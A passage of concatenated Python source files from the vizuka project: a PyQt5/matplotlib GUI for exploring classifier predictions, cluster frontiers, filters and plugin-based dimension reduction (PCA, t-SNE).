current_predicts.append(self.predictions[x_tuple])
else:
current_predicts.append(
self.predictions[tuple(self.xs[self.kdtree.query(x)[1]])]
)
return current_predicts
|
0011001011/vizuka
| 22,929 |
vizuka/graphics/qt_handler.py
|
"""
Qt handler for drawing buttons and IHM black magic.
Please do read it you fool. I must admit I am not
proud of everything written down there.
This should be rewritten with QtCreator's help.
"""
import sys
import logging
import os
import matplotlib
matplotlib.use('Qt5Agg') # noqa
from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas
from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar
import matplotlib.gridspec as gridspec
from matplotlib import pyplot as plt
from PyQt5 import QtCore, QtWidgets
from PyQt5.QtWidgets import (
QApplication,
QMainWindow,
QWidget,
QHBoxLayout,
QVBoxLayout,
QSizePolicy,
QDockWidget,
QLineEdit,
QInputDialog,
QMessageBox,
QAction,
QActionGroup,
QMenu,
QFileDialog,
QDialog,
QRadioButton,
QLabel,
)
import numpy as np
from vizuka.graphics import qt_helpers
from vizuka import clustering
from vizuka import frontier
from vizuka.cluster_viewer import make_plotter, list_plotter
def onclick_wrapper(onclick):
"""
This decorator for onclick detects if the mouse event
should trigger something.
I tried to make it worst but this is my best
"""
def wrapper(*args, **kwargs):
if args[0].detect_mouse_event: # args[0] is self
return onclick(*args, **kwargs)
else:
return lambda x: None
return wrapper
CLUSTER_PLOTTER = {}
class Cluster_viewer(matplotlib.figure.Figure):
def __init__(self,
features_to_display,
x_raw,
x_raw_columns,
show_dichotomy=True):
super().__init__()
self.x_raw = x_raw
self.x_raw_columns = x_raw_columns
self.show_dichotomy = show_dichotomy # deprecated
self.features_to_display = features_to_display
self.spec_by_name = {}
self.cluster_view_selected_indexes = []
self.spec = gridspec.GridSpec(
len(features_to_display.keys()), 2, wspace=0.2)
for idx, feature_name in enumerate(features_to_display.keys()):
for plotter in features_to_display[feature_name]:
self.spec_by_name[feature_name + plotter] = {}
self.spec_by_name[feature_name
+ plotter]['good'] = self.spec[idx % 2]
self.spec_by_name[feature_name
+ plotter]['bad'] = self.spec[idx % 2 + 1]
if plotter not in CLUSTER_PLOTTER.keys():
CLUSTER_PLOTTER[plotter] = make_plotter(plotter)
def plot_help(plotter, plotter_name, data_name, fig, spec_to_update_,
key, y):
spec_to_update = spec_to_update_[key]
axe = plt.Subplot(fig, spec_to_update)
axe.axis("off")
text = (
'Here will be displayed the distribution of the column {}\n'.
format(data_name) +
"The visualisation tool '{}' will be used\n\n".format(
plotter_name) + 'Click on a cluster to begin')
axe.text(
0.5,
0.5,
text,
horizontalalignment='center',
verticalalignment=y,
)
fig.add_subplot(axe)
if 'log' in plotter_name:
data_name += ' - log'
data_name += ' - {} predictions'.format(key)
if axe:
axe.set_title(data_name)
for key in ['good', 'bad']:
for data_name in self.features_to_display:
for plotter_name in self.features_to_display[data_name]:
plotter = CLUSTER_PLOTTER[plotter_name]
spec_to_update = self.spec_by_name[data_name
+ plotter_name]
y = 'top' if key == 'good' else 'bottom'
plot_help(plotter, plotter_name, data_name, self,
spec_to_update, key, y)
def update_cluster_view(self, index_good, index_bad, data_by_index):
"""
Updates the axes with the data of the selected cluster
index_good: indexes of all good predictions
index_bad: indexes of all bad predicitons
data_by_index: data
"""
self.clear()
self.cluster_view_selected_indexes = set(index_good + index_bad)
selected_xs_raw = {}
data_to_display = {}
if self.show_dichotomy:
selected_xs_raw['good'] = [
data_by_index[idx]
for idx in self.cluster_view_selected_indexes
if idx in index_good
]
selected_xs_raw['bad'] = [
data_by_index[idx]
for idx in self.cluster_view_selected_indexes
if idx in index_bad
]
else:
selected_xs_raw['all'] = [
data_by_index[idx]
for idx in self.cluster_view_selected_indexes
]
columns_to_display = [
list(self.x_raw_columns).index(i) for i in self.features_to_display
]
if self.show_dichotomy:
data_to_display['good'] = {
self.x_raw_columns[i]: [x[i] for x in selected_xs_raw['good']]
for i in columns_to_display
}
data_to_display['bad'] = {
self.x_raw_columns[i]: [x[i] for x in selected_xs_raw['bad']]
for i in columns_to_display
}
else:
data_to_display['all'] = {
self.x_raw_columns[i]: [x[i] for x in selected_xs_raw['all']]
for i in columns_to_display
}
def plot_it(plotter, plotter_name, data_to_display, data_name, fig,
spec_to_update_, key):
spec_to_update = spec_to_update_[key]
data = data_to_display[key][data_name]
axe = plotter(data, fig, spec_to_update)
if 'log' in plotter_name:
data_name += ' - log'
data_name += ' - {} predictions'.format(key)
if axe:
axe.set_title(data_name)
for key in ['good', 'bad']:
for data_name in self.features_to_display:
for plotter_name in self.features_to_display[data_name]:
plotter = CLUSTER_PLOTTER[plotter_name]
spec_to_update = self.spec_by_name[data_name
+ plotter_name]
plot_it(plotter, plotter_name, data_to_display, data_name,
self, spec_to_update, key)
def reset(self):
self.clear()
self.cluster_view_selected_indexes = []
class Qt_matplotlib_handler():
def __init__(self, figure):
self.right_dock = QtCore.Qt.RightDockWidgetArea
self.textboxs = {}
self.plottings = []
# configure the app + main window
self.app = QApplication(sys.argv)
self.window = QMainWindow(parent=None)
self.features_to_filter = None
self.figure = figure
def show(self):
"""
Shows the window you built with your tears
"""
self.window.showMaximized()
for win in self.additional_windows:
win.show()
self.refresh()
logging.info("refreshed")
logging.info("showed")
def refresh(self):
"""
Refresh the matplotlib plots
"""
for plotting in self.plottings:
try:
plotting.canvas.draw()
except ValueError as e:
# This exception is raised when nothing to be draw
logging.warn(e)
for i in self.figure.get_axes():
i.clear()
@onclick_wrapper
def onclick(self, *args, **kwargs):
"""
..seealso::onclick_wrapper
"""
self.base_onclick(*args, **kwargs)
def toogle_detect_mouse_event(self, *args, **kwargs):
"""
Enable/Disable mouse_event handling ..seealso::onclick_wrapper
"""
self.detect_mouse_event = not self.detect_mouse_event
class Viz_handler(Qt_matplotlib_handler):
"""
A Viz_handler is attached to the viz_engine defined in vizualization.py
It basically lists lots of QWidget things and propose methods to init
them "gracefully", hum...
Only IHM here.
"""
def __init__(
self,
viz_engine,
figure,
onclick,
additional_figures=[],
):
"""
This object is a QtWindow (or 2-3-4...) with a mamtplotlib.Figure
and a onclick event handler. As you can see it is also linked to
a viz_engine which will do the magic.
This instance should only do IHM stuff, nothing intellectual, everything
is handled by the viz_engine
"""
super(Viz_handler, self).__init__(figure)
self.viz_engine = viz_engine
self.detect_mouse_event = True
self.base_onclick = onclick
self.window.setWindowTitle('Data vizualization')
self.additional_figures = additional_figures
self.all_custom_filters = {}
self.additional_windows = []
# add the main figure
qt_helpers.add_figure(
self.figure,
window=self.window,
plottings=self.plottings,
onclick=self.onclick)
#self.cluster_diver = Cluster_diver(self.x_raw, self.x_raw_columns, ['ape_code'])
for fig in self.additional_figures:
self.add_figure(fig, 'Cluster viewer')
# self.add_figure(self.additional_figure, onclick=None, window=self.additional_window)
self.initUI()
def add_figure(self, fig, name):
self.additional_windows.append(
qt_helpers.add_window(self.window, name))
qt_helpers.add_figure(
fig, self.additional_windows[-1], plottings=self.plottings)
self.additional_windows[-1].show()
def initUI(self):
window = self.window
window.statusBar().showMessage('Loading...')
menubar = window.menuBar()
qt_helpers.add_simple_menu(
"Load",
{"Load a set of predictions": self.load_prediction},
menubar,
window,
)
qt_helpers.add_simple_menu(
'Export',
{'Export data in selected clusters in csv': self.export},
menubar,
window,
)
clusteringMenu = menubar.addMenu("Clustering")
saveclustersAct = QAction('Save current clusters', window)
saveclustersAct.triggered.connect(self.save_clusters)
clusteringMenu.addAction(saveclustersAct)
requestClusteringMenu = QMenu('Request clustering', window)
builtin_cl, extra_cl = clustering.list_clusterizer()
available_clustering_engines = {**builtin_cl, **extra_cl}
for clustering_engine_name in available_clustering_engines.keys():
clusteringAct = QAction(clustering_engine_name, window)
clusteringAct.triggered.connect(
lambda x, name=clustering_engine_name: self.request_new_clustering(name)
)
requestClusteringMenu.addAction(clusteringAct)
clusteringMenu.addMenu(requestClusteringMenu)
self.loadClusterMenu = QMenu('Load saved clusters', window)
for cluster_name in self.viz_engine.saved_clusters:
loadAct = QAction(cluster_name, window)
loadAct.triggered.connect(
lambda x, name=cluster_name: self.viz_engine.load_clusterization(name)
)
self.loadClusterMenu.addAction(loadAct)
clusteringMenu.addMenu(self.loadClusterMenu)
frontierMenu = menubar.addMenu('Cluster frontiers')
builtin_fr, extra_fr = frontier.list_frontiers()
available_frontiers = {**builtin_fr, **extra_fr}
for frontier_name in available_frontiers.keys():
frontierAct = QAction(frontier_name, window)
frontierAct.triggered.connect(
lambda x, name=frontier_name: self.viz_engine.request_new_frontiers(name)
)
frontierMenu.addAction(frontierAct)
self.filterMenu = menubar.addMenu('Filters')
trueClassFilter = QMenu('Filter by true class', window)
self.all_true_filters = []
for cls in self.viz_engine.possible_outputs_list:
name = cls if len(cls) < 30 else str(cls[:29]) + '...'
f = QAction(name, window, checkable=True)
f.setChecked(True)
f.class_ = cls
self.all_true_filters.append(f)
f.triggered.connect(lambda x:self.viz_engine.filter_by_correct_class(self.all_true_filters))
trueClassFilter.addAction(f)
def select_all_true(boolean=True):
for f in self.all_true_filters:
f.setChecked(boolean)
self.viz_engine.filter_by_correct_class(self.all_true_filters)
select_all = QAction("Select all", window)
select_all.triggered.connect(lambda x: select_all_true(True))
trueClassFilter.addAction(select_all)
select_none = QAction("Unselect all", window)
select_none.triggered.connect(lambda x: select_all_true(False))
trueClassFilter.addAction(select_none)
self.filterMenu.addMenu(trueClassFilter)
predictClassFilter = QMenu('Filter by predicted class', window)
self.all_predicted_filters = []
for cls in self.viz_engine.possible_outputs_list:
name = cls if len(cls) < 30 else str(cls[:29]) + '...'
f = QAction(name, window, checkable=True)
f.setChecked(True)
f.class_ = cls
self.all_predicted_filters.append(f)
f.triggered.connect(lambda x:self.viz_engine.filter_by_predicted_class(self.all_predicted_filters))
predictClassFilter.addAction(f)
def select_all_predicted(boolean=True):
for f in self.all_predicted_filters:
f.setChecked(boolean)
self.viz_engine.filter_by_predicted_class(
self.all_predicted_filters)
select_all_p = QAction("Select all", window)
select_all_p.triggered.connect(lambda x: select_all_predicted(True))
predictClassFilter.addAction(select_all_p)
select_none_p = QAction("Unselect all", window)
select_none_p.triggered.connect(lambda x: select_all_predicted(False))
predictClassFilter.addAction(select_none_p)
self.filterMenu.addMenu(predictClassFilter)
moreFilterAction = QAction("Add a filter from raw data", self.window)
moreFilterAction.triggered.connect(lambda x: self.add_raw_filter())
self.filterMenu.addAction(moreFilterAction)
navigationMenu = menubar.addMenu('Navigation')
mouseEnabledAction = QAction(
'Disable mouse click', window, checkable=True)
mouseEnabledAction.triggered.connect(self.toogle_detect_mouse_event)
navigationMenu.addAction(mouseEnabledAction)
clusterviewMenu = menubar.addMenu("Cluster exploration")
clustersummaryAct = QAction("Add custom cluster info", window)
clustersummaryAct.triggered.connect(self.request_cluster_viewer)
clusterviewMenu.addAction(clustersummaryAct)
colorMenu = menubar.addMenu("Color mode")
color_modes = {
'Colorize correctness of predictions': "by_prediction",
'Colorize by classes': "by_true_class",
}
def on_color_radio_button_toggled(s):
radiobutton = s.sender()
if radiobutton.isChecked():
self.viz_engine.request_color_mode(
color_modes[radiobutton.column_name])
radio_color_group = QActionGroup(colorMenu, exclusive=True)
for i, mode in enumerate(color_modes.keys()):
radiobutton = QAction(mode, radio_color_group, checkable=True)
radiobutton.column_name = mode
radiobutton.toggled.connect(
lambda x: on_color_radio_button_toggled(radiobutton))
if 'Colorize correctness of predictions' == mode:
radiobutton.setChecked(True)
colorMenu.addAction(radiobutton)
def add_raw_filter(self):
self.kikoo = AskColumnWindow(
self.window, self.viz_engine, next_window=self.addCustomFilter)
self.kikoo.show()
def addCustomFilter(self, _, column_name, viz_engine):
customFilter = QMenu('Filter by {}'.format(column_name), self.window)
column_index = viz_engine.x_raw_columns.tolist().index(column_name)
classes = set(np.array(viz_engine.x_raw)[:, column_index])
self.all_custom_filters[column_index] = []
for cls in classes:
name = str(cls)
f = QAction(name, self.window, checkable=True)
f.setChecked(True)
f.class_ = cls
self.all_custom_filters[column_index].append(f)
f.triggered.connect(lambda x:self.viz_engine.filter_by_feature(
column_index,
self.all_custom_filters,
))
customFilter.addAction(f)
def select_all_custom(boolean=True):
for f in self.all_custom_filters[column_index]:
f.setChecked(boolean)
self.viz_engine.filter_by_feature(
column_index,
self.all_custom_filters,
)
select_all_c = QAction("Select all", self.window)
select_all_c.triggered.connect(lambda x: select_all_custom(True))
customFilter.addAction(select_all_c)
select_none_c = QAction("Unselect all", self.window)
select_none_c.triggered.connect(lambda x: select_all_custom(False))
customFilter.addAction(select_none_c)
self.filterMenu.addMenu(customFilter)
def request_cluster_viewer(self):
self.kikoo = AskColumnWindow(
self.window, self.viz_engine, next_window=AskPlotterWindow)
self.kikoo.show()
def is_ready(self):
self.window.statusBar().showMessage('Ready')
def load_prediction(self):
prediction_filename = self.file_dialog(
"Load prediction",
self.viz_engine.model_path,
"{} Npz file (*{}.npz)".format(self.viz_engine.version,
self.viz_engine.version),
)
if prediction_filename:
self.viz_engine.reload_predict(prediction_filename)
def is_loading(self):
self.window.statusBar().showMessage('Loading...')
def pop_dialog(self, msg):
popup = QMessageBox(self.window)
popup.setText(msg)
popup.exec_()
def file_dialog(self, name, directory, filter):
dialog = QFileDialog(self.window, name, directory, filter)
if dialog.exec_() == QDialog.Accepted:
return dialog.selectedFiles()[0]
def save_clusters(self):
text, validated = QInputDialog.getText(
self.window, "YOLO", "Name for the clusters you selected ?")
if validated:
if text == '':
text = "clusters"
cluster_name = self.viz_engine.save_clusterization(text)
loadAct = QAction(cluster_name, self.window)
loadAct.triggered.connect(
lambda: self.viz_engine.load_clusterization(cluster_name))
self.loadClusterMenu.addAction(loadAct)
def export(self):
text, validated = QInputDialog.getText(self.window, "YOLO",
"Name for the exported csv ?")
if validated:
if text == '':
text = "export.csv"
self.viz_engine.export(text)
def request_new_clustering(self, clustering_engine_name):
self.clustering_params = {}
for requested_param in clustering.get_required_arguments(
clustering_engine_name):
text, validated = QInputDialog.getText(self.window, "YOLO",
requested_param + ' ?')
self.clustering_params[requested_param] = float(text)
return self.viz_engine.request_new_clustering(clustering_engine_name,
self.clustering_params)
class AskPlotterWindow(QDialog):
def __init__(self, parent, column_name, viz_engine):
super(AskPlotterWindow, self).__init__(parent)
layout = QVBoxLayout()
self.setLayout(layout)
self.viz_engine = viz_engine
self.column_name = column_name
builtin_pl, extra_pl = list_plotter()
available_pl = {**builtin_pl, **extra_pl}
layout.addWidget(
QLabel("The following visualization tools are available"), 0)
layout.addWidget(
QLabel("Which one do you want to use for exploration ?"), 1)
for i, (plotter_name, plotter_class) in enumerate(
available_pl.items()):
radiobutton = QRadioButton(
plotter_name + ' - ' + plotter_class.get_help())
radiobutton.plotter_name = plotter_name
radiobutton.toggled.connect(self.on_radio_button_toggled)
layout.addWidget(radiobutton, i + 2)
self.show()
def on_radio_button_toggled(self):
radiobutton = self.sender()
if radiobutton.isChecked():
self.viz_engine.add_cluster_view(self.column_name,
[radiobutton.plotter_name])
self.destroy()
class AskColumnWindow(QDialog):
def __init__(self, parent, viz_engine, next_window):
super(AskColumnWindow, self).__init__(parent)
self.parent = parent
self.next_window = next_window
layout = QVBoxLayout()
self.setLayout(layout)
self.viz_engine = viz_engine
layout.addWidget(
QLabel("Your raw_data_" + self.viz_engine.version +
".npz file has the following column\n"), 0)
layout.addWidget(QLabel("Which one do you want to explore ?"), 1)
for i, column in enumerate(viz_engine.x_raw_columns):
radiobutton = QRadioButton(column)
radiobutton.column_name = column
radiobutton.toggled.connect(self.on_radio_button_toggled)
layout.addWidget(radiobutton, i + 2)
def on_radio_button_toggled(self):
radiobutton = self.sender()
if radiobutton.isChecked():
self.kikoo = self.next_window(self.parent, radiobutton.column_name,
self.viz_engine)
self.destroy()
|
0011001011/vizuka
| 6,593 |
vizuka/graphics/qt_helpers.py
|
import matplotlib
matplotlib.use('Qt5Agg') # noqa
from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas
from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar
from PyQt5 import QtCore, QtWidgets
from PyQt5.QtWidgets import (
QApplication,
QMainWindow,
QWidget,
QHBoxLayout,
QVBoxLayout,
QSizePolicy,
QDockWidget,
QLineEdit,
QAction,
QInputDialog,
)
def add_simple_menu(name, triggers_by_submenu_name, menubar, window):
menu = menubar.addMenu(name)
for subname, action in triggers_by_submenu_name.items():
a = QAction(subname, window)
a.triggered.connect(action)
menu.addAction(a)
def add_menulist(window, menu_name, button_name, categories, onlaunch, dockarea):
"""
Add a menu list with action button
:param menu_name: displayed name of the list (displayed)
:param button_name: the name of the button
:param categories: categories available for selection
:param onlaunch: action to trigger on click to button
"""
root = window
panel = QWidget()
hbox = QHBoxLayout(panel)
class MenuList(QtWidgets.QListWidget):
def __init__(self, categories):
QtWidgets.QListWidget.__init__(self)
self.add_items(categories)
self.itemClicked.connect(self.item_click)
self.selected = categories
def add_items(self, categories):
for category in categories:
item = QtWidgets.QListWidgetItem(category)
self.addItem(item)
def item_click(self, item):
self.selected = str(item.text())
menulist = MenuList(categories)
hbox.addWidget(menulist)
launchButton = QtWidgets.QPushButton(button_name)
launchButton.clicked.connect(lambda: onlaunch(menulist.selected))
hbox.addWidget(launchButton)
panel.setLayout(hbox)
dock = QDockWidget(menu_name, root)
root.addDockWidget(dockarea, dock)
dock.setWidget(panel)
dock.resize(QtCore.QSize(dock.width(), dock.minimumHeight()))
return menulist
def add_button(window, name, action, dockarea):
"""
Adds a simple button
:param name: diplayed button name
:param action: function triggered on click event
"""
root = window
panel = QWidget()
hbox = QHBoxLayout(panel)
button = QtWidgets.QPushButton(name)
button.clicked.connect(action)
hbox.addWidget(button)
panel.setLayout(hbox)
dock = QDockWidget(name, root)
root.addDockWidget(dockarea, dock)
dock.setWidget(panel)
def add_figure(figure, window, plottings=[], onclick=None):
"""
Easy method for adding a matplotlib figure to the Qt window
:param figure: matplotlib figure to attach
:param onclick: onclick function to attach to figure
:param window: which window to attach the figure to
"""
class MatplotlibWidget(QWidget):
def __init__(self, figure, onclick, parent=None, *args, **kwargs):
super(MatplotlibWidget, self).__init__(parent)
self.figure = figure
self.onclick = onclick
class MplCanvas(FigureCanvas):
def __init__(self, figure, onclick):
self.figure = figure
self.onclick = onclick
FigureCanvas.__init__(self, self.figure)
FigureCanvas.setSizePolicy(self, QSizePolicy.Expanding, QSizePolicy.Expanding)
FigureCanvas.updateGeometry(self)
# add mouse event
# logging.info("mouseEvents=adding")
if onclick is not None:
self.figure.canvas.mpl_connect('button_press_event', self.onclick)
# logging.info("mouseEvents=ready")
self.canvas = MplCanvas(self.figure, self.onclick)
self.canvas.setFocusPolicy(QtCore.Qt.ClickFocus)
self.canvas.setFocus()
self.toolbar = NavigationToolbar(self.canvas, self)
layout = QVBoxLayout()
layout.addWidget(self.toolbar)
layout.addWidget(self.canvas)
self.setLayout(layout)
root = window
panel = QWidget()
plot_wrapper_box = QHBoxLayout(panel)
plottings.append(
MatplotlibWidget(figure=figure, onclick=onclick
))
plot_wrapper_box.addWidget(plottings[-1])
panel.setLayout(plot_wrapper_box)
dock = QDockWidget('', root)
root.addDockWidget(QtCore.Qt.LeftDockWidgetArea, dock)
dock.setWidget(panel)
def add_text_panel(window, name, update, dockarea):
"""
Adds a text panel (how surprising) and binds it to a function
:param name:i diplayed name of Widget
:param update: function to bind returnPressed event of textpanel
"""
root = window
panel = QWidget()
hbox = QHBoxLayout(panel)
textbox = QLineEdit(parent=panel)
textbox.returnPressed.connect(update)
hbox.addWidget(textbox)
panel.setLayout(hbox)
dock = QDockWidget(name, root)
root.addDockWidget(dockarea, dock)
dock.setWidget(panel)
return textbox
def add_window(parent_window, title):
class Additional_Window(QMainWindow):
def __init__(self, parent=None):
super(Additional_Window, self).__init__(parent)
self.setWindowTitle(title)
return Additional_Window(parent_window)
def add_checkboxes(window, name, items_name, action, dockarea, checked_by_default=False):
"""
Add some checkboxes, linked to some action.
:param name: the name of this checkboxes set
:param items_name: displayed name of each item
:param action: triggered on each check/uncheck
"""
root = window
panel = QWidget()
hbox = QHBoxLayout(panel)
my_qlist = QtWidgets.QListWidget()
my_item_list = {}
default_state = QtCore.Qt.Checked if checked_by_default else QtCore.Qt.Unchecked
for i in items_name:
item = QtWidgets.QListWidgetItem()
item.setText(str(i))
item.setFlags(item.flags() | QtCore.Qt.ItemIsUserCheckable)
item.setCheckState(default_state)
my_qlist.addItem(item)
my_item_list[i] = item
my_qlist.itemChanged.connect(
lambda: action( {item_name: my_item_list[item_name].checkState() for item_name in items_name} ))
hbox.addWidget(my_qlist)
panel.setLayout(hbox)
dock = QDockWidget(name, root)
root.addDockWidget(dockarea, dock)
dock.setWidget(panel)
|
0011001011/vizuka
| 10,684 |
vizuka/graphics/drawing.py
|
"""
Functions to draw things on some axes
Probably uninteresting
"""
from matplotlib import pyplot as plt
import matplotlib
import numpy as np
import logging
def draw_scatterplot_from_indexes(
indexes_to_display,
indexes_bad_predictions,
indexes_good_predictions,
indexes_special_predictions,
data,
axe
):
"""
Draw the scattered data on the axe, with 3 colors based on the indexes provided
"""
good_to_display = []
bad_to_display = []
special_to_display = []
for i in indexes_to_display:
if i in indexes_special_predictions:
special_to_display.append(data[i])
elif i in indexes_good_predictions:
good_to_display.append(data[i])
elif i in indexes_bad_predictions:
bad_to_display.append(data[i])
bad_to_display = np.array(bad_to_display)
good_to_display = np.array(good_to_display)
special_to_display = np.array(special_to_display)
draw_scatterplot(axe, good_to_display, bad_to_display, special_to_display)
def draw_scatterplot(vizualization, axe, color_mode="by_prediction"):
if color_mode=="by_prediction":
draw_scatterplot_by_prediction(
axe,
vizualization.well_predicted_projected_points_array,
vizualization.mispredicted_projected_points_array,
vizualization.not_predicted_projected_points_array,
)
elif color_mode=="by_true_class":
draw_scatterplot_by_class(
axe,
vizualization.projection_points_list_by_correct_output,
)
def draw_scatterplot_by_class(axe, classes):
for class_, projections in classes.items():
if len(projections) > 0:
axe.scatter(
x=projections[:, 0],
y=projections[:, 1],
marker="+"
)
def draw_scatterplot_by_prediction(
axe,
well_predicted_array,
badly_predicted_array,
special_class_array):
"""
Draw the scattered data on the axe, with 3 colors
"""
if len(well_predicted_array) > 0:
axe.scatter(
x=well_predicted_array[:, 0],
y=well_predicted_array[:, 1],
color='b', marker="+"
)
if len(badly_predicted_array) > 0:
axe.scatter(
x=badly_predicted_array[:, 0],
y=badly_predicted_array[:, 1],
color='r',
marker='+'
)
if len(special_class_array) > 0:
axe.scatter(
x=special_class_array[:, 0],
y=special_class_array[:, 1],
marker='x',
color='g'
)
def apply_borders(vizualization, normalize_frontier, frontier_builder, *args):
"""
Returns the line to draw the clusters border
:param normalize_frontier: sset to True if the value given by
the :param frontier_builder: needs some normalization, if True
it will be set between [0,1]
:param frontier_builder: function that takes two dicts
(clusters) and compute a frontier density (typically
based on a similarity measure)
:param axes: list of axes to draw the borders
"""
axes = args[0]
frontier = {}
logging.info('borders: calculating')
centroids_cluster_by_index = vizualization.clusterizer.predict(vizualization.mesh_centroids)
empty_cluster_distribution = {cl:0 for cl in vizualization.possible_outputs_list}
for index, xy in enumerate(vizualization.mesh_centroids):
current_centroid_label = centroids_cluster_by_index[index]
if index > vizualization.resolution:
label_down_neighbor = centroids_cluster_by_index[index-vizualization.resolution]
if label_down_neighbor != current_centroid_label:
if (label_down_neighbor, current_centroid_label) not in frontier:
current_frontier = frontier_builder(
vizualization.nb_of_points_by_class_by_cluster.get(
label_down_neighbor, empty_cluster_distribution),
vizualization.nb_of_points_by_class_by_cluster.get(
current_centroid_label, empty_cluster_distribution)
)
if current_frontier > -np.inf:
frontier[(label_down_neighbor, current_centroid_label)] = current_frontier
if index % vizualization.resolution > 0:
label_left_neighbor = centroids_cluster_by_index[index-1]
if label_left_neighbor != current_centroid_label:
if (label_left_neighbor, current_centroid_label) not in frontier:
current_frontier = frontier_builder(
vizualization.nb_of_points_by_class_by_cluster.get(
label_left_neighbor, empty_cluster_distribution),
vizualization.nb_of_points_by_class_by_cluster.get(
current_centroid_label, empty_cluster_distribution)
)
if current_frontier > -np.inf:
frontier[(label_left_neighbor, current_centroid_label)] = current_frontier
frontier = { key:frontier[key] for key in frontier if frontier[key] != -np.inf }
if normalize_frontier:
max_frontier = frontier[max(frontier, key=frontier.get)]
min_frontier = frontier[min(frontier, key=frontier.get)]
frontier_amplitude = max_frontier - min_frontier
if frontier_amplitude:
normalized_frontier = { key:(frontier[key]-min_frontier) / frontier_amplitude for key in frontier }
else:
normalized_frontier = frontier
else:
normalized_frontier = frontier
logging.info('borders: cleaning')
for axe in axes:
for child in axe.get_children():
if isinstance(child, matplotlib.collections.LineCollection):
child.remove()
def line_dict_maker(xdata, ydata, frontier_density):
black = (0, 0, 0)
return {'xdata': xdata,
'ydata': ydata,
'color': black,
'alpha': frontier_density
}
lines = []
logging.info('borders: generating graphic lines')
for index, (x, y) in enumerate(vizualization.mesh_centroids):
current_centroid_label = centroids_cluster_by_index[index]
if index > vizualization.resolution:
label_down_neighbor = centroids_cluster_by_index[index-vizualization.resolution]
if label_down_neighbor != current_centroid_label:
if (label_down_neighbor, current_centroid_label) in frontier:
frontier_density = normalized_frontier[(label_down_neighbor, current_centroid_label)]
lines.append(line_dict_maker(
xdata = (x-vizualization.size_centroid/2, x+vizualization.size_centroid/2),
ydata = (y-vizualization.size_centroid/2, y-vizualization.size_centroid/2),
frontier_density=frontier_density))
if index % vizualization.resolution > 0:
label_left_neighbor = centroids_cluster_by_index[index-1]
if label_left_neighbor != current_centroid_label:
if (label_left_neighbor, current_centroid_label) in normalized_frontier:
frontier_density = normalized_frontier[(label_left_neighbor, current_centroid_label)]
lines.append(line_dict_maker(
xdata=(x-vizualization.size_centroid/2, x-vizualization.size_centroid/2),
ydata=(y-vizualization.size_centroid/2, y+vizualization.size_centroid/2),
frontier_density=frontier_density))
line_collection_lines = [list(zip(elt['xdata'], elt['ydata'])) for elt in lines]
line_collection_colors = [(*elt['color'], elt['alpha']) for elt in lines]
logging.info('borders: adding lines to graph')
for axe in axes:
axe.add_artist(
matplotlib.collections.LineCollection(
line_collection_lines,
colors=line_collection_colors
)
)
logging.info('borders: ready')
def add_subplot(fig = None, layout = 'grid'):
"""
Add a subplot, and adjust the positions of the other subplots appropriately.
Lifted from this answer: http://stackoverflow.com/a/29962074/851699
:param fig: The figure, or None to select current figure
:param layout: 'h' for horizontal layout, 'v' for vertical layout, 'g' for approximately-square grid
:return: A new axes object
"""
if fig is None:
fig = plt.gcf()
n = len(fig.axes)
n_rows, n_cols = (1, n+1) if layout in ('h', 'horizontal') else (n+1, 1) if layout in ('v', 'vertical') else \
vector_length_to_tile_dims(n+1) if layout in ('g', 'grid') else bad_value(layout)
for i in range(n):
fig.axes[i].change_geometry(n_rows, n_cols, i+1)
ax = fig.add_subplot(n_rows, n_cols, n+1)
return ax
_subplots = {}
def set_named_subplot(name, fig=None, layout='grid'):
"""
Set the current axes. If "name" has been defined, just return that axes, otherwise make a new one.
:param name: The name of the subplot
:param fig: The figure, or None to select current figure
:param layout: 'h' for horizontal layout, 'v' for vertical layout, 'g' for approximately-square grid
:return: An axes object
"""
if name in _subplots:
plt.subplot(_subplots[name])
else:
_subplots[name] = add_subplot(fig=fig, layout=layout)
return _subplots[name]
def vector_length_to_tile_dims(vector_length):
"""
You have vector_length tiles to put in a 2-D grid. Find the size
of the grid that best matches the desired aspect ratio.
TODO: Actually do this with aspect ratio
:param vector_length:
:param desired_aspect_ratio:
:return: n_rows, n_cols
"""
n_cols = np.ceil(np.sqrt(vector_length))
n_rows = np.ceil(vector_length/n_cols)
grid_shape = int(n_rows), int(n_cols)
return grid_shape
def bad_value(value, explanation = None):
"""
:param value: Raise ValueError. Useful when doing conditional assignment.
e.g.
dutch_hand = 'links' if eng_hand=='left' else 'rechts' if eng_hand=='right' else bad_value(eng_hand)
"""
raise ValueError('Bad Value: %s%s' % (value, ': '+explanation if explanation is not None else ''))
|
0011001011/vizuka
| 1,408 |
vizuka/dimension_reduction/__init__.py
|
import pkgutil
import inspect
import importlib
from vizuka.dimension_reduction import (
projector,
pca,
tsne,
)
from vizuka.plugins import dimension_reduction as projector_plugins
def list_projectors():
"""
List all projector available (in vizuka/plugin/dimension_reduction
and vizuka/dimension_reduction)
:return: a dict {method_name:projector_class}
"""
built_in_projectors = {
'pca':pca.PCA,
'tsne':tsne.tSNE,
}
extra_projectors= {}
for (module_loader, name, ispkg) in pkgutil.iter_modules(projector_plugins.__path__):
plugin = importlib.import_module('.plugins.dimension_reduction.'+name, 'vizuka')
members = inspect.getmembers(plugin)
for _, class_ in members:
if class_ in projector.Projector.__subclasses__():
extra_projectors[name] = class_
return built_in_projectors, extra_projectors
def make_projector(method='tsne', **kwargs):
"""
Return a projector contructor
:param method: the name of the algo
:param kwargs: additional argument (e.g: perplexity for tsne)
"""
built_in_projectors, extra_projectors = list_projectors()
available_projectors= {**built_in_projectors, **extra_projectors}
projector_builder = available_projectors.get(method, None)
return projector_builder
|
0011001011/vizuka
| 2,845 |
vizuka/dimension_reduction/pca.py
|
"""
Here is the code summoned to reduce the dimension of your
precious data, and also to load it.
We use t-SNE and, if you want, PCA just before it.
..note:: tSNE from sklearn is not the best but is standard
I suggest you to uncomment 'from MulticoreTSNE import TSNE as tsne'
as it will be much faster and won't crash if you use too much RAM.
However this needs extra-install steps :
-> cf https://github.com/DmitryUlyanov/Multicore-TSNE
"""
import logging
from sklearn.decomposition import PCA as PCA_algorithm
from vizuka.dimension_reduction import projector
class PCA(projector.Projector):
def __init__(self, nb_dimension=2, min_ratio_variance_explained=0):
""""
Prepare a PCA projection, to a 2-dimensional space or
with to a space with the minimum number of dimension
required to have a :param min_ratio_variance_explained:
ratio of explained variance, if specified.
:param nb_dimension: the number of dimension to keep, usually
